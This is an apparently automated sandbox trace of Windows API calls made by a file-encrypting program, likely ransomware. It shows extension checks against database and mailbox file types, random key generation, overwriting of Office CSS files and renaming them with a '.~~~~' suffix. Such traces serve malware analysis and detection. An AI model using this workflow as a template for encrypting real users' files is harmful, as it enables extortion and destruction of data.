	[0137.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".bak") returned 0x0
	[0137.982] lstrlenW (lpString=".myd") returned 4
	[0137.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".myd") returned 0x0
	[0137.982] lstrlenW (lpString=".DTXS") returned 5
	[0137.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".DTXS") returned 0x0
	[0137.983] lstrlenW (lpString=".ckp") returned 4
	[0137.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".ckp") returned 0x0
	[0137.983] lstrlenW (lpString=".dbt") returned 4
	[0137.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".dbt") returned 0x0
	[0137.983] lstrlenW (lpString=".db") returned 3
	[0137.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".db") returned 0x0
	[0137.983] lstrlenW (lpString=".TXT") returned 4
	[0137.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".TXT") returned 0x0
	[0137.983] lstrlenW (lpString=".MDF") returned 4
	[0137.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".MDF") returned 0x0
	[0137.983] lstrlenW (lpString=".bdb") returned 4
	[0137.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".bdb") returned 0x0
	[0137.983] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0137.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0137.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0137.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0137.983] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0137.984] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0137.984] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0137.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0137.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0137.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0137.985] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25797480575) returned 1
	[0137.985] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbbafc250, dwHighDateTime=0x1d60e1e)) 
	[0137.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0137.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0137.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0137.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5070
	[0137.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5070 | out: hHeap=0x300000) returned 1
	[0137.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cec08
	[0137.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0137.985] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cec08 | out: hHeap=0x300000) returned 1
	[0137.985] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0137.986] GetLastError () returned 0x0
	[0137.986] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0137.986] GetLastError () returned 0x0
	[0138.112] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.113] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0138.114] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.114] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.114] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.114] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.114] CloseHandle (hObject=0xc4) returned 1
	[0138.114] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ceea8
	[0138.115] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme05.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme05.css.~~~~")) returned 1
	[0138.117] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ceea8 | out: hHeap=0x300000) returned 1
	[0138.117] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0138.117] GetLastError () returned 0x0
	[0138.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".scr") returned 0x0
	[0138.118] lstrlenW (lpString=".cmd") returned 4
	[0138.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".cmd") returned 0x0
	[0138.118] lstrlenW (lpString=".dll") returned 4
	[0138.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".dll") returned 0x0
	[0138.118] lstrlenW (lpString=".bat") returned 4
	[0138.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".bat") returned 0x0
	[0138.118] lstrlenW (lpString=".cpl") returned 4
	[0138.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".cpl") returned 0x0
	[0138.118] lstrlenW (lpString=".sys") returned 4
	[0138.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".sys") returned 0x0
	[0138.118] lstrlenW (lpString=".msc") returned 4
	[0138.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".msc") returned 0x0
	[0138.118] lstrlenW (lpString=".com") returned 4
	[0138.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".com") returned 0x0
	[0138.118] lstrlenW (lpString=".lnk") returned 4
	[0138.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".lnk") returned 0x0
	[0138.118] lstrlenW (lpString=".msp") returned 4
	[0138.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".msp") returned 0x0
	[0138.118] lstrlenW (lpString=".pif") returned 4
	[0138.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".pif") returned 0x0
	[0138.118] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0138.118] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0138.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme10.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0138.120] lstrlenW (lpString=".sqb") returned 4
	[0138.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".sqb") returned 0x0
	[0138.120] lstrlenW (lpString=".ost") returned 4
	[0138.120] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".ost") returned 0x0
	[0138.121] lstrlenW (lpString=".txt") returned 4
	[0138.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".txt") returned 0x0
	[0138.121] lstrlenW (lpString=".mdt") returned 4
	[0138.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".mdt") returned 0x0
	[0138.121] lstrlenW (lpString=".BDB") returned 4
	[0138.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".BDB") returned 0x0
	[0138.121] lstrlenW (lpString=".eql") returned 4
	[0138.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".eql") returned 0x0
	[0138.121] lstrlenW (lpString=".DBF") returned 4
	[0138.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".DBF") returned 0x0
	[0138.121] lstrlenW (lpString=".EQL") returned 4
	[0138.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".EQL") returned 0x0
	[0138.121] lstrlenW (lpString=".FDB") returned 4
	[0138.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".FDB") returned 0x0
	[0138.121] lstrlenW (lpString=".EDB") returned 4
	[0138.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".EDB") returned 0x0
	[0138.121] lstrlenW (lpString=".DACPAC") returned 7
	[0138.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".DACPAC") returned 0x0
	[0138.121] lstrlenW (lpString=".VHD") returned 4
	[0138.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".VHD") returned 0x0
	[0138.121] lstrlenW (lpString=".DBV") returned 4
	[0138.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".DBV") returned 0x0
	[0138.121] lstrlenW (lpString=".dacpac") returned 7
	[0138.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".dacpac") returned 0x0
	[0138.121] lstrlenW (lpString=".sdf") returned 4
	[0138.121] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".sdf") returned 0x0
	[0138.122] lstrlenW (lpString=".accdb") returned 6
	[0138.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".accdb") returned 0x0
	[0138.122] lstrlenW (lpString=".DBX") returned 4
	[0138.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".DBX") returned 0x0
	[0138.122] lstrlenW (lpString=".MDT") returned 4
	[0138.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".MDT") returned 0x0
	[0138.122] lstrlenW (lpString=".SQB") returned 4
	[0138.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".SQB") returned 0x0
	[0138.122] lstrlenW (lpString=".vhd") returned 4
	[0138.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".vhd") returned 0x0
	[0138.122] lstrlenW (lpString=".bac") returned 4
	[0138.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".bac") returned 0x0
	[0138.122] lstrlenW (lpString=".mdf") returned 4
	[0138.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".mdf") returned 0x0
	[0138.122] lstrlenW (lpString=".BAK") returned 4
	[0138.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".BAK") returned 0x0
	[0138.122] lstrlenW (lpString=".BAC") returned 4
	[0138.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".BAC") returned 0x0
	[0138.122] lstrlenW (lpString=".dbs") returned 4
	[0138.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".dbs") returned 0x0
	[0138.122] lstrlenW (lpString=".vhdx") returned 5
	[0138.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".vhdx") returned 0x0
	[0138.122] lstrlenW (lpString=".NDF") returned 4
	[0138.122] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".NDF") returned 0x0
	[0138.123] lstrlenW (lpString=".dat") returned 4
	[0138.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".dat") returned 0x0
	[0138.123] lstrlenW (lpString=".DBS") returned 4
	[0138.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".DBS") returned 0x0
	[0138.123] lstrlenW (lpString=".CKP") returned 4
	[0138.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".CKP") returned 0x0
	[0138.123] lstrlenW (lpString=".edb") returned 4
	[0138.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".edb") returned 0x0
	[0138.123] lstrlenW (lpString=".PST") returned 4
	[0138.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".PST") returned 0x0
	[0138.123] lstrlenW (lpString=".dbf") returned 4
	[0138.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".dbf") returned 0x0
	[0138.123] lstrlenW (lpString=".SQL") returned 4
	[0138.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".SQL") returned 0x0
	[0138.123] lstrlenW (lpString=".pst") returned 4
	[0138.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".pst") returned 0x0
	[0138.123] lstrlenW (lpString=".dbv") returned 4
	[0138.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".dbv") returned 0x0
	[0138.123] lstrlenW (lpString=".SDF") returned 4
	[0138.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".SDF") returned 0x0
	[0138.123] lstrlenW (lpString=".dtxs") returned 5
	[0138.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".dtxs") returned 0x0
	[0138.123] lstrlenW (lpString=".db3") returned 4
	[0138.123] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".db3") returned 0x0
	[0138.123] lstrlenW (lpString=".OST") returned 4
	[0138.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".OST") returned 0x0
	[0138.124] lstrlenW (lpString=".dbx") returned 4
	[0138.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".dbx") returned 0x0
	[0138.124] lstrlenW (lpString=".DB3") returned 4
	[0138.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".DB3") returned 0x0
	[0138.124] lstrlenW (lpString=".DAT") returned 4
	[0138.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".DAT") returned 0x0
	[0138.124] lstrlenW (lpString=".VHDX") returned 5
	[0138.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".VHDX") returned 0x0
	[0138.124] lstrlenW (lpString=".ndf") returned 4
	[0138.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".ndf") returned 0x0
	[0138.124] lstrlenW (lpString=".DB") returned 3
	[0138.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".DB") returned 0x0
	[0138.124] lstrlenW (lpString=".sql") returned 4
	[0138.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".sql") returned 0x0
	[0138.124] lstrlenW (lpString=".MYD") returned 4
	[0138.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".MYD") returned 0x0
	[0138.124] lstrlenW (lpString=".DBT") returned 4
	[0138.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".DBT") returned 0x0
	[0138.124] lstrlenW (lpString=".ACCDB") returned 6
	[0138.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".ACCDB") returned 0x0
	[0138.124] lstrlenW (lpString=".fdb") returned 4
	[0138.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".fdb") returned 0x0
	[0138.124] lstrlenW (lpString=".bak") returned 4
	[0138.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".bak") returned 0x0
	[0138.125] lstrlenW (lpString=".myd") returned 4
	[0138.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".myd") returned 0x0
	[0138.125] lstrlenW (lpString=".DTXS") returned 5
	[0138.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".DTXS") returned 0x0
	[0138.125] lstrlenW (lpString=".ckp") returned 4
	[0138.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".ckp") returned 0x0
	[0138.125] lstrlenW (lpString=".dbt") returned 4
	[0138.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".dbt") returned 0x0
	[0138.125] lstrlenW (lpString=".db") returned 3
	[0138.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".db") returned 0x0
	[0138.125] lstrlenW (lpString=".TXT") returned 4
	[0138.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".TXT") returned 0x0
	[0138.125] lstrlenW (lpString=".MDF") returned 4
	[0138.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".MDF") returned 0x0
	[0138.125] lstrlenW (lpString=".bdb") returned 4
	[0138.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".bdb") returned 0x0
	[0138.125] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0138.125] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0138.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0138.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0138.125] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0138.126] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0138.126] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0138.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0138.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0138.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0138.127] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25811673485) returned 1
	[0138.127] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbbc52eb0, dwHighDateTime=0x1d60e1e)) 
	[0138.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0138.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0138.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0138.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28259b0
	[0138.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0138.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28259b0 | out: hHeap=0x300000) returned 1
	[0138.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0138.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0138.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cecb0
	[0138.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0138.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0138.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cecb0 | out: hHeap=0x300000) returned 1
